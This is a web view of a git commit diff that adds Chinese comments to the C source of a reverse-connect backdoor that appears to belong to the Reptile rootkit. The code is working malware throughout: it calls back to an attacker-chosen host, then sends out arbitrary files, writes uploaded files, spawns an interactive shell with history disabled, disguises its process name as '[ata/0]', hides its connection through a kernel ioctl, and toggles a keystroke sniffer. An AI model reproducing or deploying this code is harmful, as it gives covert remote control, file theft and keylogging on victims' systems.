补充shell注释

main^2
waiwai 2 months ago
parent 9c830e3898
commit a9b1a596df

@ -15,7 +15,7 @@
#include "config.h" #include "config.h"
#include "pel.h" #include "pel.h"
#define ERROR -1 #define ERROR -1
unsigned char message[BUFSIZE + 1]; unsigned char message[BUFSIZE + 1];
extern char *optarg; extern char *optarg;
@ -23,224 +23,239 @@ char *rcfile;
#ifndef _REPTILE_ #ifndef _REPTILE_
// 打印使用说明
void usage(char *argv0) void usage(char *argv0)
{ {
fprintf(stderr, "Usage: %s [ -t connect_back_host ] ", argv0); fprintf(stderr, "Usage: %s [ -t connect_back_host ] ", argv0);
fprintf(stderr, "[ -p port ] [ -s secret ] [ -r delay (optional) ]\n"); fprintf(stderr, "[ -p port ] [ -s secret ] [ -r delay (optional) ]\n");
} }
#endif #endif
// 获取文件
int get_file(int client) int get_file(int client)
{ {
int ret, len, fd; int ret, len, fd;
ret = pel_recv_msg(client, message, &len); // 接收文件名
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS) if (ret != PEL_SUCCESS)
return (ERROR); return (ERROR);
if (message[0] == OUT) if (message[0] == OUT)
return 1; return 1;
message[len] = '\0'; message[len] = '\0';
fd = open((char *)message, O_RDONLY); // 打开文件
fd = open((char *)message, O_RDONLY);
if (fd < 0) if (fd < 0)
return (ERROR); return (ERROR);
while (1) { // 读取文件内容并发送
len = read(fd, message, BUFSIZE); while (1) {
len = read(fd, message, BUFSIZE);
if (len == 0) if (len == 0)
break; break;
if (len < 0) if (len < 0)
return (ERROR); return (ERROR);
ret = pel_send_msg(client, message, len); ret = pel_send_msg(client, message, len);
if (ret != PEL_SUCCESS) if (ret != PEL_SUCCESS)
return (ERROR); return (ERROR);
} }
return 0; return 0;
} }
// 上传文件
int put_file(int client) int put_file(int client)
{ {
int ret, len, fd; int ret, len, fd;
ret = pel_recv_msg(client, message, &len); // 接收文件名
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS) if (ret != PEL_SUCCESS)
return (ERROR); return (ERROR);
if (message[0] == OUT) if (message[0] == OUT)
return (ERROR); return (ERROR);
message[len] = '\0'; message[len] = '\0';
fd = creat((char *)message, 0644); fd = creat((char *)message, 0644);
if (fd < 0) if (fd < 0)
return (ERROR); return (ERROR);
while (1) { // 接收文件内容并写入
ret = pel_recv_msg(client, message, &len); while (1) {
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS) if (ret != PEL_SUCCESS)
return (ERROR); return (ERROR);
if (strncmp((char *)message, EXIT, EXIT_LEN) == 0) if (strncmp((char *)message, EXIT, EXIT_LEN) == 0)
break; break;
if (write(fd, message, len) != len) if (write(fd, message, len) != len)
return (ERROR); return (ERROR);
} }
return 0; return 0;
} }
// 运行 shell
int runshell(int client) int runshell(int client)
{ {
fd_set rd; fd_set rd;
struct winsize ws; struct winsize ws;
char *slave, *temp, *shell; char *slave, *temp, *shell;
int ret, len, pid, pty, tty, n; int ret, len, pid, pty, tty, n;
if (openpty(&pty, &tty, NULL, NULL, NULL) < 0) // 打开伪终端
return (ERROR); if (openpty(&pty, &tty, NULL, NULL, NULL) < 0)
return (ERROR);
slave = ttyname(tty); slave = ttyname(tty);
if (slave == NULL) if (slave == NULL)
return (ERROR); return (ERROR);
chdir(HOMEDIR); chdir(HOMEDIR);
putenv("HISTFILE="); putenv("HISTFILE=");
ret = pel_recv_msg(client, message, &len); // 接收终端类型
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS) if (ret != PEL_SUCCESS)
return (ERROR); return (ERROR);
message[len] = '\0'; message[len] = '\0';
setenv("TERM", (char *)message, 1); setenv("TERM", (char *)message, 1);
ret = pel_recv_msg(client, message, &len); // 接收窗口大小
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS || len != 4) if (ret != PEL_SUCCESS || len != 4)
return (ERROR); return (ERROR);
ws.ws_row = ((int)message[0] << 8) + (int)message[1]; ws.ws_row = ((int)message[0] << 8) + (int)message[1];
ws.ws_col = ((int)message[2] << 8) + (int)message[3]; ws.ws_col = ((int)message[2] << 8) + (int)message[3];
ws.ws_xpixel = 0; ws.ws_xpixel = 0;
ws.ws_ypixel = 0; ws.ws_ypixel = 0;
if (ioctl(pty, TIOCSWINSZ, &ws) < 0) if (ioctl(pty, TIOCSWINSZ, &ws) < 0)
return (ERROR); return (ERROR);
ret = pel_recv_msg(client, message, &len); // 接收命令
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS) if (ret != PEL_SUCCESS)
return (ERROR); return (ERROR);
if (len == 1 && message[0] == RUNSHELL) { if (len == 1 && message[0] == RUNSHELL) {
temp = (char *)malloc(20 + strlen(rcfile)); temp = (char *)malloc(20 + strlen(rcfile));
if (temp == NULL) if (temp == NULL)
return (ERROR); return (ERROR);
strcpy(temp, "exec bash --rcfile "); strcpy(temp, "exec bash --rcfile ");
strcat(temp, rcfile); strcat(temp, rcfile);
} else { } else {
message[len] = '\0'; message[len] = '\0';
temp = (char *)malloc(len + 1); temp = (char *)malloc(len + 1);
if (temp == NULL) if (temp == NULL)
return (ERROR); return (ERROR);
strncpy(temp, (char *)message, len + 1); strncpy(temp, (char *)message, len + 1);
} }
pid = fork(); // 创建子进程
pid = fork();
if (pid < 0) { if (pid < 0) {
free(temp); free(temp);
return (ERROR); return (ERROR);
} }
if (pid == 0) { if (pid == 0) {
close(client); close(client);
close(pty); close(pty);
if (setsid() < 0) { if (setsid() < 0) {
free(temp); free(temp);
return (ERROR); return (ERROR);
} }
if (ioctl(tty, TIOCSCTTY, NULL) < 0) { if (ioctl(tty, TIOCSCTTY, NULL) < 0) {
free(temp); free(temp);
return (ERROR); return (ERROR);
} }
dup2(tty, 0); dup2(tty, 0);
dup2(tty, 1); dup2(tty, 1);
dup2(tty, 2); dup2(tty, 2);
if (tty > 2) if (tty > 2)
close(tty); close(tty);
shell = (char *)malloc(10); shell = (char *)malloc(10);
if (shell == NULL) { if (shell == NULL) {
free(temp); free(temp);
return (ERROR); return (ERROR);
} }
strcpy(shell, "/bin/bash"); strcpy(shell, "/bin/bash");
execl(shell, shell + 5, "-c", temp, (char *)0); execl(shell, shell + 5, "-c", temp, (char *)0);
free(temp); free(temp);
free(shell); free(shell);
return 0; return 0;
} else { } else {
close(tty); close(tty);
while (1) { // 处理数据传输
FD_ZERO(&rd); while (1) {
FD_SET(client, &rd); FD_ZERO(&rd);
FD_SET(pty, &rd); FD_SET(client, &rd);
FD_SET(pty, &rd);
n = (pty > client) ? pty : client; n = (pty > client) ? pty : client;
if (select(n + 1, &rd, NULL, NULL, NULL) < 0) if (select(n + 1, &rd, NULL, NULL, NULL) < 0)
return (ERROR); return (ERROR);
if (FD_ISSET(client, &rd)) { if (FD_ISSET(client, &rd)) {
ret = pel_recv_msg(client, message, &len); ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS) if (ret != PEL_SUCCESS)
return (ERROR); return (ERROR);
if (write(pty, message, len) != len) if (write(pty, message, len) != len)
return (ERROR); return (ERROR);
} }
if (FD_ISSET(pty, &rd)) { if (FD_ISSET(pty, &rd)) {
len = read(pty, message, BUFSIZE); len = read(pty, message, BUFSIZE);
if (len == 0) if (len == 0)
break; break;
if (len < 0) if (len < 0)
return (ERROR); return (ERROR);
ret = pel_send_msg(client, message, len); ret = pel_send_msg(client, message, len);
if (ret != PEL_SUCCESS) if (ret != PEL_SUCCESS)
return (ERROR); return (ERROR);
} }
} }
return 0; return 0;
} }
} }
#ifdef _REPTILE_ #ifdef _REPTILE_
@ -249,260 +264,265 @@ int runshell(int client)
#define UNHIDE 0 #define UNHIDE 0
struct control { struct control {
unsigned short cmd; unsigned short cmd;
void *argv; void *argv;
}; };
// 隐藏连接
void hide_conn(struct sockaddr_in addr, int hide) void hide_conn(struct sockaddr_in addr, int hide)
{ {
struct control args; struct control args;
int sockioctl = socket(AF_INET, SOCK_STREAM, 6); int sockioctl = socket(AF_INET, SOCK_STREAM, 6);
if (sockioctl < 0) if (sockioctl < 0)
exit(1); exit(1);
if (hide) { if (hide) {
args.cmd = 4; args.cmd = 4;
} else { } else {
args.cmd = 5; args.cmd = 5;
} }
args.argv = &addr; args.argv = &addr;
if (ioctl(sockioctl, AUTH, HTUA) == 0) { if (ioctl(sockioctl, AUTH, HTUA) == 0) {
if (ioctl(sockioctl, AUTH, &args) == 0) if (ioctl(sockioctl, AUTH, &args) == 0)
ioctl(sockioctl, AUTH, HTUA); ioctl(sockioctl, AUTH, HTUA);
} }
close(sockioctl); close(sockioctl);
} }
#endif #endif
// 构建 rcfile 路径
int build_rcfile_path(void) int build_rcfile_path(void)
{ {
char *name = NAME; char *name = NAME;
int len = 6 + strlen(name) + strlen(name); int len = 6 + strlen(name) + strlen(name);
rcfile = (char *)malloc(len); rcfile = (char *)malloc(len);
if (rcfile == NULL) if (rcfile == NULL)
return -1; return -1;
snprintf(rcfile, len, "/%s/%s_rc", name, name); snprintf(rcfile, len, "/%s/%s_rc", name, name);
return 0; return 0;
} }
int main(int argc, char **argv) int main(int argc, char **argv)
{ {
int ret, len, pid, opt, client, arg0_len, delay = 0; int ret, len, pid, opt, client, arg0_len, delay = 0;
short int connect_back_port = 0; short int connect_back_port = 0;
char *connect_back_host = NULL; char *connect_back_host = NULL;
char *secret = NULL; char *secret = NULL;
struct sockaddr_in client_addr; struct sockaddr_in client_addr;
struct hostent *client_host; struct hostent *client_host;
socklen_t n; socklen_t n;
while ((opt = getopt(argc, argv, "t:s:p:r:")) != -1) { // 解析命令行参数
switch (opt) { while ((opt = getopt(argc, argv, "t:s:p:r:")) != -1) {
case 't': switch (opt) {
connect_back_host = strdup(optarg); case 't':
break; connect_back_host = strdup(optarg);
case 'p': break;
connect_back_port = atoi(optarg); case 'p':
if (!connect_back_port) { connect_back_port = atoi(optarg);
if (!connect_back_port) {
#ifndef _REPTILE_ #ifndef _REPTILE_
usage(*argv); usage(*argv);
#endif #endif
goto out; goto out;
} }
break; break;
case 's': case 's':
secret = strdup(optarg); secret = strdup(optarg);
break; break;
case 'r': case 'r':
delay = atoi(optarg); delay = atoi(optarg);
break; break;
default: default:
#ifndef _REPTILE_ #ifndef _REPTILE_
usage(*argv); usage(*argv);
#endif #endif
exit(1); exit(1);
break; break;
} }
} }
if (connect_back_host == NULL || connect_back_port == 0 || if (connect_back_host == NULL || connect_back_port == 0 ||
secret == NULL) { secret == NULL) {
#ifndef _REPTILE_ #ifndef _REPTILE_
usage(*argv); usage(*argv);
#endif #endif
goto out; goto out;
} }
arg0_len = strlen(argv[0]); // 隐藏进程名称
bzero(argv[0], arg0_len); arg0_len = strlen(argv[0]);
bzero(argv[0], arg0_len);
if (arg0_len >= 7)
strcpy(argv[0], "[ata/0]"); if (arg0_len >= 7)
strcpy(argv[0], "[ata/0]");
if(argv[1])
bzero(argv[1], strlen(argv[1])); if(argv[1])
bzero(argv[1], strlen(argv[1]));
if(argv[2])
bzero(argv[2], strlen(argv[2])); if(argv[2])
bzero(argv[2], strlen(argv[2]));
if(argv[3])
bzero(argv[3], strlen(argv[3])); if(argv[3])
bzero(argv[3], strlen(argv[3]));
if(argv[4])
bzero(argv[4], strlen(argv[4])); if(argv[4])
bzero(argv[4], strlen(argv[4]));
if(argv[5])
bzero(argv[5], strlen(argv[5])); if(argv[5])
bzero(argv[5], strlen(argv[5]));
if(argv[6])
bzero(argv[6], strlen(argv[6])); if(argv[6])
bzero(argv[6], strlen(argv[6]));
if(argv[7])
bzero(argv[7], strlen(argv[7])); if(argv[7])
bzero(argv[7], strlen(argv[7]));
if(argv[8])
bzero(argv[8], strlen(argv[8])); if(argv[8])
bzero(argv[8], strlen(argv[8]));
if (build_rcfile_path())
goto out; if (build_rcfile_path())
goto out;
pid = fork();
// 创建子进程
if (pid < 0) pid = fork();
return (ERROR);
if (pid < 0)
if (pid != 0) return (ERROR);
return 0;
if (pid != 0)
if (setsid() < 0) return 0;
return (ERROR);
if (setsid() < 0)
for (n = 0; n < 1024; n++) return (ERROR);
close(n);
for (n = 0; n < 1024; n++)
do { close(n);
if (delay > 0)
sleep(delay); do {
if (delay > 0)
client = socket(PF_INET, SOCK_STREAM, 0); sleep(delay);
if (client < 0)
continue; client = socket(PF_INET, SOCK_STREAM, 0);
if (client < 0)
client_host = gethostbyname(connect_back_host); continue;
if (client_host == NULL)
continue; client_host = gethostbyname(connect_back_host);
if (client_host == NULL)
memcpy((void *)&client_addr.sin_addr, continue;
(void *)client_host->h_addr, client_host->h_length);
memcpy((void *)&client_addr.sin_addr,
client_addr.sin_family = AF_INET; (void *)client_host->h_addr, client_host->h_length);
client_addr.sin_port = htons(connect_back_port);
client_addr.sin_family = AF_INET;
ret = connect(client, (struct sockaddr *)&client_addr, client_addr.sin_port = htons(connect_back_port);
sizeof(client_addr));
ret = connect(client, (struct sockaddr *)&client_addr,
if (ret < 0) { sizeof(client_addr));
close(client);
continue; if (ret < 0) {
} close(client);
continue;
}
#ifdef _REPTILE_ #ifdef _REPTILE_
hide_conn(client_addr, HIDE); hide_conn(client_addr, HIDE);
#endif #endif
ret = pel_server_init(client, secret); ret = pel_server_init(client, secret);
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
shutdown(client, 2); shutdown(client, 2);
#ifdef _REPTILE_ #ifdef _REPTILE_
hide_conn(client_addr, UNHIDE); hide_conn(client_addr, UNHIDE);
#endif #endif
continue; continue;
} }
connect: connect:
ret = pel_recv_msg(client, message, &len); ret = pel_recv_msg(client, message, &len);
if (ret == PEL_SUCCESS || len == 1) { if (ret == PEL_SUCCESS || len == 1) {
if (strcmp((char *)message, EXIT) == 0) if (strcmp((char *)message, EXIT) == 0)
goto end; goto end;
switch (message[0]) { switch (message[0]) {
case GET_FILE: case GET_FILE:
ret = get_file(client); ret = get_file(client);
if (ret) if (ret)
goto connect; goto connect;
if (pel_send_msg(client, (unsigned char *)EXIT, if (pel_send_msg(client, (unsigned char *)EXIT,
EXIT_LEN) != PEL_SUCCESS) EXIT_LEN) != PEL_SUCCESS)
goto end; goto end;
goto connect; goto connect;
case PUT_FILE: case PUT_FILE:
put_file(client); put_file(client);
goto connect; goto connect;
case RUNSHELL: case RUNSHELL:
runshell(client); runshell(client);
if (pel_send_msg(client, (unsigned char *)EXIT, if (pel_send_msg(client, (unsigned char *)EXIT,
EXIT_LEN) != PEL_SUCCESS) EXIT_LEN) != PEL_SUCCESS)
goto end; goto end;
goto connect; goto connect;
case SET_DELAY: case SET_DELAY:
if (pel_recv_msg(client, message, &len) != if (pel_recv_msg(client, message, &len) !=
PEL_SUCCESS) PEL_SUCCESS)
goto end; goto end;
if (message[0] == 5) if (message[0] == 5)
goto connect; goto connect;
message[len] = '\0'; message[len] = '\0';
delay = atoi((char *)message); delay = atoi((char *)message);
goto connect; goto connect;
case 'K': // 添加 keysniffer 命令处理 case 'K': // 添加 keysniffer 命令处理
if (pel_recv_msg(client, message, &len) != PEL_SUCCESS) if (pel_recv_msg(client, message, &len) != PEL_SUCCESS)
goto end; goto end;
if (strcmp((char *)message, "start") == 0) { if (strcmp((char *)message, "start") == 0) {
start_keysniffer(); start_keysniffer();
} }
else if (strcmp((char *)message, "stop") == 0) { else if (strcmp((char *)message, "stop") == 0) {
stop_keysniffer(); stop_keysniffer();
} }
if (pel_send_msg(client, (unsigned char *)EXIT, EXIT_LEN) != PEL_SUCCESS) if (pel_send_msg(client, (unsigned char *)EXIT, EXIT_LEN) != PEL_SUCCESS)
goto end; goto end;
goto connect; goto connect;
default: default:
break; break;
} }
} }
end: end:
shutdown(client, 2); shutdown(client, 2);
#ifdef _REPTILE_ #ifdef _REPTILE_
hide_conn(client_addr, UNHIDE); hide_conn(client_addr, UNHIDE);
#endif #endif
} while (delay > 0); } while (delay > 0);
out: out:
if (connect_back_host) if (connect_back_host)
free(connect_back_host); free(connect_back_host);
if (secret) if (secret)
free(secret); free(secret);
return 0; return 0;
} }
Loading…
Cancel
Save